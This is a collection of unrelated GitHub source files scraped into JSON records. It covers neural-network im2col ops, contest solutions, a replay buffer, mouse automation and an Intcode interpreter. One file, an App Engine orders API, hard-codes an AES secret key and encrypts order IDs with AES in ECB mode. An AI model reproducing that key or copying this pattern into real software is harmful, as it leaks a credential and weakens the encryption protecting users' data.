stride_h=1,\n stride_w=1,\n dilation_h=1,\n dilation_w=1,\n):\n \"\"\"Returns im2col indices.\"\"\"\n # First figure out what the size of the output should be\n n, c, h, w = x_shape\n pad_h = padding[0] + padding[2]\n pad_w = padding[1] + padding[3]\n out_height = compute_conv_output_dim(h, field_height, stride_h, pad_h, dilation_h)\n out_width = compute_conv_output_dim(w, field_width, stride_w, pad_w, dilation_w)\n\n i0 = dilation_h * np.repeat(np.arange(field_height), field_width)\n i0 = np.tile(i0, c)\n i1 = stride_h * np.repeat(np.arange(out_height), out_width)\n j0 = dilation_w * np.tile(np.arange(field_width), field_height * c)\n j1 = stride_w * np.tile(np.arange(out_width), out_height)\n i = i0.reshape(-1, 1) + i1.reshape(1, -1)\n j = j0.reshape(-1, 1) + j1.reshape(1, -1)\n\n k = np.repeat(np.arange(c), field_height * field_width).reshape(-1, 1)\n\n return (k, i, j)\n\n\ndef im2col_indices_nchw(\n x,\n ifm_h,\n ifm_w,\n field_height,\n field_width,\n padding=[0, 0, 0, 0],\n stride_h=1,\n stride_w=1,\n pad_val=0,\n dilation_h=1,\n dilation_w=1,\n):\n \"\"\"Performs im2col on image (2D tensor, possibly with 1-length dummy dimensions) x with\n given field height and width, as well as values for padding and stride size.\n Returns result of im2col.\"\"\"\n # Zero-pad the input\n p = padding\n\n x_padded = np.pad(\n x,\n ((0, 0), (0, 0), (p[0], p[2]), (p[1], p[3])),\n mode=\"constant\",\n constant_values=pad_val,\n )\n\n k, i, j = get_im2col_indices_nchw(\n x.shape,\n field_height,\n field_width,\n padding,\n stride_h,\n stride_w,\n dilation_h,\n dilation_w,\n )\n\n cols = x_padded[:, k, i, j]\n C = x.shape[1]\n cols = cols.transpose(1, 2, 0).reshape(field_height * field_width * C, -1)\n return cols\n\n\n# ONNX i/o tensor shape assumptions for Im2Col:\n# input 0 is the input vector, shape (1, ih, iw, ifm)\n# output 0 is the output vector, shape (1, oh, ow, kh*kw*ifm)\n# where:\n# * ih, iw are the height and width of the input image\n# * oh, ow are the height and width of the output (lowered) image\n# * ifm is the number of input channels\n# * kh, kw is the convolutional kernel size\n\n# note: for the innermost (dot product) dimension of k*k*ifm, we\n# assume an internal ordering (k, k, ifm)\n\n# note2: it's possible to set one of ih, iw to be 1 to indicate a\n# dummy dimension, e.g. for representing 1D convs as 2D. the corresponding\n# oh/ow and kh/kw will also be 1 in this case\n\n\nclass Im2Col(CustomOp):\n def get_nodeattr_types(self):\n return {\n # stride and shape of convolution kernel\n \"stride\": (\"ints\", True, []),\n \"kernel_size\": (\"ints\", True, []),\n # input tensor shape\n \"input_shape\": (\"s\", True, \"\"),\n # amount of padding to be inserted before/after each non-dummy spatial dim\n # i.e. [H_begin, W_begin, H_end, W_end]\n \"pad_amount\": (\"ints\", False, [0, 0, 0, 0]), # default: no padding\n # value of padding pixels to be inserted\n \"pad_value\": (\"i\", False, 0),\n # depthwise: if 1, infer ConvolutionInputGenerator with depthwise == 1\n \"depthwise\": (\"i\", False, 0, {0, 1}),\n # dilation factor applied to the conv kernel\n \"dilations\": (\"ints\", False, [1, 1]),\n }\n\n def make_shape_compatible_op(self, model):\n k_h, k_w = self.get_nodeattr(\"kernel_size\") # Assumption: Height x Width\n stride_h, stride_w = self.get_nodeattr(\"stride\")\n ishape = self.get_nodeattr(\"input_shape\")\n dilation_h, dilation_w = self.get_nodeattr(\"dilations\")\n pad = self.get_nodeattr(\"pad_amount\") # padding: [H_begin, W_begin, H_end, W_end]\n pad_h = pad[0] + pad[2]\n pad_w = pad[1] + pad[3]\n\n # convert string into list of integers\n ishape = ishape.strip(\"(\")\n ishape = ishape.strip(\")\")\n ishape = ishape.split(\",\")\n for i in range(0, len(ishape)):\n ishape[i] = int(ishape[i])\n\n # extract all necessary information and determine output dimensions\n ifm_ch = ishape[-1]\n assert len(ishape) == 4, \"Unexpected input shape for Im2Col\"\n # NHWC (QONNX always converts to NHWC during conv lowering)\n ifm_dim_h = ishape[1]\n ifm_dim_w = ishape[2]\n\n ofm_dim_h = compute_conv_output_dim(ifm_dim_h, k_h, stride_h, pad_h, dilation_h)\n ofm_dim_w = compute_conv_output_dim(ifm_dim_w, k_w, stride_w, pad_w, dilation_w)\n\n return super().make_const_shape_op([1, ofm_dim_h, ofm_dim_w, k_h * k_w * ifm_ch])\n\n def infer_node_datatype(self, model):\n node = self.onnx_node\n # data type stays the same\n dtype = model.get_tensor_datatype(node.input[0])\n model.set_tensor_datatype(node.output[0], dtype)\n\n def execute_node(self, context, graph):\n node = self.onnx_node\n k_h, k_w = self.get_nodeattr(\"kernel_size\") # Assumption: Height x Width\n stride_h, stride_w = self.get_nodeattr(\"stride\")\n pad = self.get_nodeattr(\"pad_amount\")\n pad_h = pad[0] + pad[2]\n pad_w = pad[1] + pad[3]\n pad_val = self.get_nodeattr(\"pad_value\")\n dilation_h, dilation_w = self.get_nodeattr(\"dilations\")\n\n iname = node.input[0]\n x = context[iname]\n qnt_annotations = graph.quantization_annotation\n ret = util.get_by_name(qnt_annotations, iname, \"tensor_name\")\n ret = util.get_by_name(ret.quant_parameter_tensor_names, \"finn_datatype\", \"key\")\n idt = DataType[ret.value]\n if pad != [0, 0, 0, 0]:\n assert idt.allowed(pad_val), \"Im2Col dtype must allow pad_val\"\n # check that input is NHWC\n assert x.ndim == 4, \"Unexpected number of input dims for Im2Col\"\n n, h, w, c = x.shape\n\n # check that kernel tensor also respects any existing dummy dimensions\n if h == 1:\n kernel_1d = k_h == 1\n pad_1d = pad_h == 0\n assert (\n kernel_1d and pad_1d\n ), \"Unexpected kernel shape and padding for input image\\\n of dimensions (N, 1, W, C)\"\n if w == 1:\n kernel_1d = k_w == 1\n pad_1d = pad_w == 0\n assert (\n kernel_1d and pad_1d\n ), \"Unexpected kernel shape and padding for input image\\\n of dimensions (N, H, 1, C)\"\n\n out_dim_h = compute_conv_output_dim(h, k_h, stride_h, pad_h, dilation_h)\n out_dim_w = compute_conv_output_dim(w, k_w, stride_w, pad_w, dilation_w)\n # internally convert input to NCHW\n x = x.transpose(0, 3, 1, 2)\n # call NCHW im2col implementation\n ret = im2col_indices_nchw(\n x,\n h,\n w,\n k_h,\n k_w,\n pad,\n stride_h,\n stride_w,\n pad_val=pad_val,\n dilation_h=dilation_h,\n dilation_w=dilation_w,\n )\n # result shape is (k_H*k_W*N, out_dim_H*out_dim_W), convert to NCHW\n ret = ret.reshape(n, c, k_h, k_w, out_dim_h, out_dim_w)\n # (N=0,C=1,kh=2,kw=3,H=4,W=5) -> (N=0,H=4,W=5,kh=2,kw=3,C=1)\n ret = ret.transpose(0, 4, 5, 2, 3, 1)\n ret = ret.reshape(n, out_dim_h, out_dim_w, k_h * k_w * c)\n\n # ret = ret.reshape(N, k * k * C, out_dim, out_dim)\n # convert output back to NHWC\n # ret = ret.transpose(0, 2, 3, 1)\n context[node.output[0]] = ret\n\n def verify_node(self):\n node = self.onnx_node\n\n info_messages = []\n\n # verify number of attributes\n num_of_attr = 3\n if len(node.attribute) == num_of_attr:\n info_messages.append(\"The number of attributes is correct\")\n else:\n info_messages.append(\n \"\"\"The number of attributes is incorrect,\n {} should have {} attributes\"\"\".format(\n node.op_type, num_of_attr\n )\n )\n # verify that all necessary attributes exist\n try:\n self.get_nodeattr(\"stride\")\n self.get_nodeattr(\"kernel_size\")\n info_messages.append(\"All necessary attributes exist\")\n except Exception:\n info_messages.append(\n \"\"\"The necessary attributes do not exist.\n Im2Col needs the following attributes:\n stride, kernel_size\"\"\"\n )\n\n # verify the number of inputs\n if len(node.input) == 1:\n info_messages.append(\"The number of inputs is correct\")\n else:\n info_messages.append(\"{} needs 1 data input\".format(node.op_type))\n\n return info_messages\n","repo_name":"fastmachinelearning/qonnx","sub_path":"src/qonnx/custom_op/general/im2col.py","file_name":"im2col.py","file_ext":"py","file_size_in_byte":9599,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"48"} +{"seq_id":"74121291666","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\ninput = sys.stdin.readline\nf_inf = float('inf')\nmod = 10 ** 9 + 7\n\n\ndef resolve():\n n = int(input())\n A = list(map(int, input().split()))\n\n kai = set()\n uri = set()\n i = 1\n while i < n:\n if A[i - 1] < A[i]:\n kai.add(i - 1)\n while i < n and A[i - 1] <= A[i]:\n i += 1\n uri.add(i - 1)\n while i < n and A[i - 1] >= A[i]:\n i += 1\n else:\n i += 1\n\n if len(kai) == 0:\n print(1000)\n exit()\n\n money = 1000\n kabu = 0\n for i in range(n):\n if i in kai:\n if i == n - 1:\n continue\n kabu, money = divmod(money, A[i])\n elif i in uri:\n money += kabu * A[i]\n kabu = 0\n print(money)\n\n\nif __name__ == '__main__':\n resolve()\n","repo_name":"happa64/AtCoder_Beginner_Contest","sub_path":"ABC/M-SOLUTIONS_2020/M-SOLUTIONS_2020-D.py","file_name":"M-SOLUTIONS_2020-D.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2785022727","text":"'''\nMerge two sorted linked lists and return it as a new sorted list. The new list should be made by splicing together the nodes of the first two lists.\n\nExample:\n\nInput: 1->2->4, 1->3->4\nOutput: 1->1->2->3->4->4\n'''\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\ndef mergeTwoLists(l1, l2):\n result = None\n tempnode = prevnode = temp = None\n while l1 != None and l2 != None:\n if l1.val <= l2.val:\n tempnode = l1\n l1 = l1.next\n else:\n tempnode = l2\n l2 = l2.next\n if result == None:\n result = tempnode\n prevnode = tempnode\n else:\n prevnode.next = tempnode\n prevnode = tempnode\n if l1!= None:\n temp = l1\n if l2 != None:\n temp = l2\n if prevnode == None:\n prevnode = result = temp\n else:\n prevnode.next = temp\n return result","repo_name":"pradyutnathradhae/interview_Program","sub_path":"Leetcode/Easy Problems/merge_two_sorted_LL.py","file_name":"merge_two_sorted_LL.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27368790089","text":"import random\nimport numpy as np\nfrom SumTree import SumTree\n\nclass PERMemory(object):\n \"\"\"Prioritized Experience Replay Memory\n\n https://arxiv.org/abs/1511.05952\n https://github.com/rlcode/per\n \"\"\"\n # stored as ( s, a, r, s_ ) in SumTree\n e = 0.01\n a = 0.6\n beta = 0.4\n beta_increment_per_sampling = 0.001\n\n def __init__(self, capacity):\n self.tree = SumTree(capacity)\n self.capacity = capacity\n self.max_error = 1.\n # abs_err_upper = 1. # clipped abs error\n\n def _get_priority(self, error):\n if np.max(error) > self.max_error: self.max_error = np.max(error)\n return (error + self.e) ** self.a\n\n def add(self, error, sample):\n p = self._get_priority(error)\n self.tree.add(p, sample)\n\n def sample(self, n):\n batch = []\n idxs = []\n segment = self.tree.total() / n\n priorities = []\n\n self.beta = np.min([1., self.beta + self.beta_increment_per_sampling])\n\n for i in range(n):\n a = segment * i\n b = segment * (i + 1)\n\n s = random.uniform(a, b)\n (idx, p, data) = self.tree.get(s)\n priorities.append(p)\n batch.append(data)\n idxs.append(idx)\n\n sampling_probabilities = priorities / self.tree.total()\n is_weight = np.power(self.tree.n_entries * sampling_probabilities, -self.beta)\n is_weight /= is_weight.max()\n\n return batch, idxs, is_weight\n\n def update(self, idx, error):\n p = self._get_priority(error)\n self.tree.update(idx, p)\n\n def batch_update(self, idxs, errors):\n \"\"\"update errors for bunch of samples from memory\"\"\"\n ps = self._get_priority(errors)\n for i, p in zip(idxs, ps):\n self.tree.update(i, p)\n\n def _shuffle_lists(*lists):\n \"\"\"shuffle multiple lists together consistently\n # done by keras\n \"\"\"\n combi_list = list(zip(*lists))\n random.shuffle(combi_list)\n return zip(*combi_list)\n","repo_name":"martinholub/demos-blogs-examples","sub_path":"rl-gym/atari/prioritized_memory.py","file_name":"prioritized_memory.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"7819137081","text":"import os\r\nimport json\r\n\r\n\r\nclass GTools:\r\n SAVE_FOLDER_PATH = os.path.join(os.getcwd(), 'results')\r\n PROJECT_CONFIG_PATH = os.path.join(\"res\", \"cfg.json\")\r\n\r\n @staticmethod\r\n def write_to_file(filename, data_list): # Writes the provided arrays into a csv\r\n with open(filename, 'w') as output_file:\r\n output_file.write(','.join(['time', 'velocity', 'Absolute Position', 'Lap#', 'Relative Position', 'Lick\\n']))\r\n\r\n for row in data_list:\r\n output_file.write(str(row) + '\\n')\r\n\r\n print(f'Data written to: {filename}\\n')\r\n\r\n @staticmethod\r\n def get_project_config():\r\n with open(GTools.PROJECT_CONFIG_PATH, \"r\") as json_file:\r\n data = json.load(json_file)\r\n return data\r\n\r\n @staticmethod\r\n def get_save_folder():\r\n data = GTools.get_project_config()\r\n if data[\"save_folder\"] != GTools.SAVE_FOLDER_PATH:\r\n # In case the project was not initialized before\r\n GTools.update_save_folder(GTools.SAVE_FOLDER_PATH)\r\n data = GTools.get_project_config()\r\n return data['save_folder']\r\n\r\n @staticmethod\r\n def update_save_folder(path):\r\n GTools.SAVE_FOLDER_PATH = path\r\n data = GTools.get_project_config()\r\n data['save_folder'] = GTools.SAVE_FOLDER_PATH\r\n with open(GTools.PROJECT_CONFIG_PATH, \"w\") as json_file:\r\n json.dump(data, json_file)\r\n\r\n @staticmethod\r\n def error_message(title, msg):\r\n print(f'{title} : {msg}')\r\n","repo_name":"xUborka/pytreadmill","sub_path":"model/gtools.py","file_name":"gtools.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32149353242","text":"import base64\nimport logging as log\nimport json\n\nimport requests\nfrom Crypto.Cipher import AES\nfrom google.appengine.api import urlfetch\n\nfrom core.models.response import ResponseOutput\nfrom core.handlers.base import ShippingRequestHandler\nfrom models.ext import OrdersMap\n\n\nALPHABET=\"123456789abcdefghijkmnopqrstuvwxyz\"\nCIPHER = 'RBy9D2oWY?}7)PiNJEVaNKddkeup}8Pc' # never ever change this or we all die\nBLOCK_SIZE = 16\nPADDING = '{'\n\npad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING\n\n# one-liners to encrypt/encode and decrypt/decode a string\n# encrypt with AES, encode with base64\nEncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))\nDecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)\n\n# create a cipher object using the random secret\ncipher = AES.new(CIPHER)\n\n\ndef encrypt_order(order_id, cipher=cipher):\n return EncodeAES(cipher, str(order_id)).replace('/', '-')\n\n\nclass OrdersAPI(ShippingRequestHandler):\n def get(self):\n order_id = self.request.get('order_id', default_value='')\n output = ResponseOutput()\n output.set_viewer(self.current_user_email)\n try:\n output.set_data({'order_link': encrypt_order(order_id)})\n output.set_status(200)\n except Exception as e:\n output.set_status(500)\n output.set_error(e.message)\n self.response.write(output.get_serialized_output())\n\n\nclass OrdersMapAPI(ShippingRequestHandler):\n def get(self):\n urlfetch.set_default_fetch_deadline(30)\n output = {\"data\": [], \"error\": \"\"}\n try:\n response = requests.get(OrdersMap.query().get().url)\n data = response.json()\n output[\"data\"] = data\n except Exception as e:\n error_message = \"@long Failed to get orders map because {}. We may need to refresh s3 link\".format(e.message)\n log.error(error_message)\n output[\"error\"] = error_message\n self.slack_pusher.send_to_admin_logs_channel(error_message)\n\n self.response.write(json.dumps(output))\n","repo_name":"hello/hello-admin","sub_path":"api/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"33130162212","text":"from __future__ import absolute_import\n\nimport unittest\n\nfrom maya.config import *\nfrom maya.ops._interaction_rdm import InteractionRDMError\nfrom maya.transforms import jordan_wigner\nfrom maya.utils import MolecularData\n\nfrom divya.ops import QubitOperator\n\nclass InteractionRDMTest(unittest.TestCase):\n\n def setUp(self):\n geometry = [('H', (0., 0., 0.)), ('H', (0., 0., 0.7414))]\n basis = 'sto-3g'\n multiplicity = 1\n filename = os.path.join(THIS_DIRECTORY, 'data',\n 'H2_sto-3g_singlet_0.7414')\n self.molecule = MolecularData(\n geometry, basis, multiplicity, filename=filename)\n self.molecule.load()\n self.cisd_energy = self.molecule.cisd_energy\n self.rdm = self.molecule.get_molecular_rdm()\n self.hamiltonian = self.molecule.get_molecular_hamiltonian()\n\n def test_get_qubit_expectations(self):\n qubit_operator = jordan_wigner(self.hamiltonian)\n qubit_expectations = self.rdm.get_qubit_expectations(qubit_operator)\n\n test_energy = 0.0\n for qubit_term in qubit_expectations.terms:\n term_coefficient = qubit_operator.terms[qubit_term]\n test_energy += (term_coefficient *\n qubit_expectations.terms[qubit_term])\n self.assertLess(abs(test_energy - self.cisd_energy), EQ_TOLERANCE)\n\n def test_get_qubit_expectations_nonmolecular_term(self):\n with self.assertRaises(InteractionRDMError):\n self.rdm.get_qubit_expectations(QubitOperator('X1 X2 X3 X4 Y6'))\n\n def test_get_qubit_expectations_through_expectation_method(self):\n qubit_operator = jordan_wigner(self.hamiltonian)\n test_energy = self.rdm.expectation(qubit_operator)\n\n self.assertLess(abs(test_energy - self.cisd_energy), EQ_TOLERANCE)\n\n def test_get_molecular_operator_expectation(self):\n expectation = self.rdm.expectation(self.hamiltonian)\n self.assertAlmostEqual(expectation, self.cisd_energy, places=7)\n\n def test_expectation_bad_type(self):\n with self.assertRaises(InteractionRDMError):\n self.rdm.expectation(12)","repo_name":"bhojpur/quantum","sub_path":"pkg/maya/ops/_interaction_rdm_test.py","file_name":"_interaction_rdm_test.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4613714244","text":"'''\naliens = [] # 创建30个绿色的外星人\nfor alien_number in range(30):\n new_alien = {'color': 'green', 'points': 5, 'speed': 'slow'} \n aliens.append(new_alien)\n# 显示前五个外星人\nfor alien in aliens[:5]: \n print(alien)\nprint(\"...\") \n# 显示创建了多少个外星人\nprint(\"Total number of aliens: \" + str(len(aliens)))\n'''\n#字典内嵌字典\n\n#创建一个city字典\ncitys = {\n\t'shanghai':{\n\t\t'country':'china',\n\t\t'population':'9999',\n\t\t'fact':'9898'\n\t\t},\n\t'niuyue':{\n\t\t'country':'america',\n\t\t'population':'8888',\n\t\t'fact':'7777'\n\t\t},\n\t'lundun':{\n\t\t'country':'england',\n\t\t'population':'6666',\n\t\t'fact':'5555'\n\t\t}\n}\n#遍历打印\n\nfor city,city_info in citys.items():\n print(city_info['population']+' people in '+city+'. In fact , only '+city_info['fact']+' people.')","repo_name":"jiangnan238/python","sub_path":"pybase/testnote_7.py","file_name":"testnote_7.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43790513785","text":"# На прямой расположены стойла, в которые необходимо расставить коров так, чтобы минимальное расcтояние между\n# коровами было как можно больше.\n# В первой строке вводятся числа N (2 < N < 10001) – количество стойл и K (1 < K < N) – количество коров.\n# Во второй строке задаются N натуральных чисел в порядке возрастания – координаты стойл (координаты\n# не превосходят 109)\n# Выведите одно число – наибольшее возможное допустимое расстояние.\n\nn, k = (int(x) for x in input().split())\nstoila = [int(i) for i in input().split()]\n\n\ndef check(dist, count, params):\n res = 1\n current = params[0]\n for param in params:\n if param - current >= dist:\n res += 1\n current = param\n return res >= count\n\n\nl = 0\nr = stoila[-1]\nwhile l < r:\n m = (l + r + 1) // 2\n if check(m, k, stoila):\n l = m\n else:\n r = m - 1\nprint(l)\n","repo_name":"ann74/algorithms_practice","sub_path":"Contest_sept_2022/Contest3/task_D.py","file_name":"task_D.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17220003886","text":"import numpy as np\nimport keras\nfrom keras.utils import np_utils\nfrom PIL import Image\nimport random\nfrom imutils import paths\nimport cv2\nfrom keras.preprocessing.image import img_to_array\nimport os\nfrom sklearn.preprocessing import LabelEncoder\nfrom keras.utils import to_categorical\nCLASS_NUM = 2\n\ndef cv_imread(file_path):\n path = file_path.replace('\\ ',' ')\n cv_image = cv2.imdecode(np.fromfile(path , dtype = np.uint8) , -1)\n return cv_image\n\ndef split_file(path):\n imagepaths = sorted(list(paths.list_images(path)))\n random.seed(82)\n random.shuffle(imagepaths)\n random.seed(82)\n random.shuffle(imagepaths)\n file_number = len(imagepaths)\n rate = int(file_number * 0.75)\n train_data = imagepaths[0:rate]\n verification_data = imagepaths[rate:file_number]\n return train_data,verification_data\n\ndef batch_train_data(train_data,batch_size):\n while 1:\n cnt = 0\n data = []\n labels = []\n for imagepath in train_data:\n image = cv_imread(imagepath)\n image = img_to_array(image)\n image_arr = np.array(image, dtype=\"float32\") / 255.0\n data.append(image_arr)\n label = imagepath.split(os.path.sep)[1]\n labels.append(label)\n cnt += 1\n if cnt==batch_size:\n cnt = 0\n labels = np.array(labels)\n num = 0\n for each_label in labels:\n if each_label != '正常':\n labels[num] = '疵点'\n num += 1\n labels_inter = LabelEncoder().fit_transform(labels)\n labels = to_categorical(labels_inter, num_classes=CLASS_NUM)\n yield (data, labels)\n data = []\n labels = []\n\ndef batch_verification_file(verification_data):\n data = []\n labels = []\n for imagepath in verification_data:\n image = cv_imread(imagepath)\n image = img_to_array(image)\n image_arr = np.array(image, dtype=\"float32\") / 255.0\n data.append(image_arr)\n\n # extract the class label\n label = imagepath.split(os.path.sep)[1]\n labels.append(label)\n\n #data = np.array(data, dtype=\"float\") / 255.0 #X_train = X_train.astype('float32')/255\n labels = np.array(labels)\n num = 0\n for each_label in labels:\n if each_label != '正常':\n labels[num] = '疵点'\n num += 1\n labels_inter = LabelEncoder().fit_transform(labels)\n labels = to_categorical(labels_inter, num_classes=CLASS_NUM)\n return data,labels\n\ntrain_file,verification_file = split_file(\"xuelang\\\\\")\n\nf = batch_train_data(train_file,32)\nf.__next__\nprint(\"tarin\")\nytrain ,ytest = batch_verification_file(verification_file)\nprint(len(ytest))\nprint(\"it is over\")\n","repo_name":"zipinggao/Source","sub_path":"tianchixulang/snowlan_myself/code/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14370317497","text":"'''\nProgrammed by: David Rupell\nDescription: Uses pyautogui and tkinter modules to track mouse position on\nscreen and output coordinates in a GUI window.\n'''\nimport pyautogui as mouse\nimport tkinter as TK\nfrom time import sleep\n\ndef update_label():\n x, y = mouse.position() #gets position of mouse\n xcoord.config(text=x,font=12) #updates appropriate labels\n ycoord.config(text=y,font=12)\n root.after(1, update_label) #after [some time] update the labels again\n #The int value in the after fct represents time in 1/1000 of a second\ndef square():\n xValue=x.get()\n yValue=y.get()\n distance=dist.get()\n interval=time.get()\n click=check.get()\n curr=current.get()\n rev=reverse.get()\n if click:\n if not curr:\n mouse.moveTo(xValue,yValue,duration=interval)\n else:\n sleep(1)\n xNew, yNew = mouse.position()\n x.set(xNew)\n y.set(yNew)\n if not rev:\n mouse.dragRel(distance,0,duration=interval)\n mouse.dragRel(0,distance,duration=interval) \n mouse.dragRel(-distance,0,duration=interval)\n mouse.dragRel(0,-distance,duration=interval)\n elif rev:\n mouse.dragRel(-distance,0,duration=interval)\n mouse.dragRel(0,distance,duration=interval) \n mouse.dragRel(distance,0,duration=interval)\n mouse.dragRel(0,-distance,duration=interval)\n else:\n if not curr:\n mouse.moveTo(xValue,yValue,duration=interval)\n else:\n sleep(1)\n xNew, yNew = mouse.position()\n x.set(xNew)\n y.set(yNew)\n if not rev:\n mouse.moveRel(distance,0,duration=interval)\n mouse.moveRel(0,distance,duration=interval) \n mouse.moveRel(-distance,0,duration=interval)\n mouse.moveRel(0,-distance,duration=interval)\n elif rev:\n mouse.moveRel(-distance,0,duration=interval)\n mouse.moveRel(0,distance,duration=interval) \n mouse.moveRel(distance,0,duration=interval)\n mouse.moveRel(0,-distance,duration=interval)\n\ndef clicking():\n sleep(3)\n xCurrent, yCurrent= mouse.position()\n clicksNum=clickCount.get()\n time=clickTime.get()\n mouse.click(x=xCurrent,y=yCurrent,clicks=clicksNum,interval=time)\n\n \n\nroot=TK.Tk() #root is the parent object that the rest of the labels will belong to\nroot.title(\"Where's My Mouse?\") #sets title of application\nmouse.FAILSAFE = False\n#Declare entry variables\nx=TK.IntVar()\ny=TK.IntVar()\ndist=TK.IntVar()\ntime=TK.DoubleVar()\ncurrent=TK.BooleanVar()\ncheck=TK.BooleanVar()\nreverse=TK.BooleanVar()\nclickCount=TK.IntVar()\nclickTime=TK.IntVar()\n\n#Setup labels\ntitle=TK.Label(root,text = \"Mouse Position:\",font=12)\nxLabel=TK.Label(root,text='X:',font=12,width=5)\nxcoord=TK.Label(root,width=10)\nyLabel=TK.Label(root,text='Y:',font=12,width=5)\nycoord=TK.Label(root,width=10)\nxel=TK.Label(root,text='Start X value:')\nyel=TK.Label(root,text='Start Y value:')\ndistEL=TK.Label(root,text='Square side length:')\ntimeEL=TK.Label(root,text='Time between move:')\nclickEL=TK.Label(root,text='How many clicks?')\nclickTimeEL=TK.Label(root,text='Interval between clicks:')\nclickConsole=TK.Label(root,text='NOTE: You will have 3 seconds to position your cursor')\nsubtitle=TK.Label(root,text=\"\\nEnter starting coordinates below, then select desired function.\\n\")\nsubtitleClick=TK.Label(root,text=\"\\nClicker\",font=12)\n\n#Setup Button\nbutton=TK.Button(root,text=\"GO\",command=square)\nclickButton=TK.Button(root,text=\"Ready to click\",command=clicking)\n\n#Setup entry\nxEnter=TK.Entry(root,textvariable=x,width=5)\nyEnter=TK.Entry(root,textvariable=y,width=5)\ncurrentBox=TK.Checkbutton(root, text=\"OR use current position (1s after clicking go)\",variable=current)\ndistEnter=TK.Entry(root,textvariable=dist,width=5)\ntimeEnter=TK.Entry(root,textvariable=time,width=5) \nclickBox=TK.Checkbutton(root,text=\"Click & drag?\",variable=check)\nrevBox=TK.Checkbutton(root,text=\"Reverse? (R->L)\",variable=reverse)\nclickEnter=TK.Entry(root,textvariable=clickCount,width=3)\nclickTimeEnter=TK.Entry(root,textvariable=clickTime,width=3)\n\n#Format display\ntitle.grid(row=0,columnspan=5)\nxLabel.grid(row=1,column=0)\nxcoord.grid(row=1,column=1)\nyLabel.grid(row=1,column=2)\nycoord.grid(row=1,column=3)\nsubtitle.grid(row=2,columnspan=5)\nxel.grid(row=3, column=0,sticky=TK.W)\nxEnter.grid(row=3,column=1)\nyel.grid(row=3, column=2)\nyEnter.grid(row=3,column=3)\ncurrentBox.grid(row=4,columnspan=5)\ndistEL.grid(row=5,column=0)\ndistEnter.grid(row=5,column=1)\ntimeEL.grid(row=5,column=2)\ntimeEnter.grid(row=5, column=3)\nclickBox.grid(row=5,column=4,sticky=TK.W)\nrevBox.grid(row=6, column=4,sticky=TK.W)\nbutton.grid(row=6,column=2,sticky=TK.W)\nsubtitleClick.grid(row=7,columnspan=5)\nclickEL.grid(row=8,column=0,sticky=TK.W)\nclickEnter.grid(row=8,column=1)\nclickTimeEL.grid(row=8,column=2)\nclickTimeEnter.grid(row=8,column=3)\nclickButton.grid(row=8,column=4)\nclickConsole.grid(row=9,columnspan=2)\n\n#update information\nupdate_label()\n\n\n\n","repo_name":"drupell/Python","sub_path":"wmmgui2.py","file_name":"wmmgui2.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5381561359","text":"import itertools\n\n\ndef opcode_compile(opcode, signal, phase=-1):\n operations = {1: '+', 2: '*', 7: '<', 8: '=='}\n codes_1 = {0: 'opcode[opcode[i+1]]', 1: 'opcode[i+1]'}\n codes_2 = {0: 'opcode[opcode[i+2]]', 1: 'opcode[i+2]'}\n bools = {True: 1, False: 0}\n\n i = 0\n while i < len(opcode):\n instruct = opcode[i]\n mode_1 = 0\n mode_2 = 0\n if len(str(instruct)) > 2:\n mode_1 = (instruct // 100) % 10\n mode_2 = (instruct // 1000) % 10\n instruct %= 10\n\n if instruct == 1 or instruct == 2:\n opcode[opcode[i + 3]] = eval(codes_1[mode_1] + operations[instruct] + codes_2[mode_2])\n i += 4\n elif instruct == 3:\n if phase >= 0:\n opcode[opcode[i + 1]] = phase\n phase = -1\n else:\n opcode[opcode[i + 1]] = signal\n i += 2\n elif instruct == 4:\n yield opcode[opcode[i + 1]]\n i += 2\n elif instruct == 5:\n if eval(codes_1[mode_1]):\n i = eval(codes_2[mode_2])\n else:\n i += 3\n elif instruct == 6:\n if not eval(codes_1[mode_1]):\n i = eval(codes_2[mode_2])\n else:\n i += 3\n elif instruct == 7 or instruct == 8:\n opcode[opcode[i + 3]] = bools[eval(codes_1[mode_1] + operations[instruct] + codes_2[mode_2])]\n i += 4\n elif instruct == 99:\n return\n\n\nif __name__ == '__main__':\n with open(\"input\", \"r\") as file:\n opcode = file.read()\n\n opcode = [int(n) for n in opcode.split(',')]\n max_value = 0\n phase_settings = list(itertools.permutations([0, 1, 2, 3, 4], 5))\n\n for phase in phase_settings:\n value = next(opcode_compile(opcode, 0, phase[0]))\n\n for j in phase[1:]:\n value = next(opcode_compile(opcode, value, j))\n\n if value > max_value:\n max_value = value\n\n 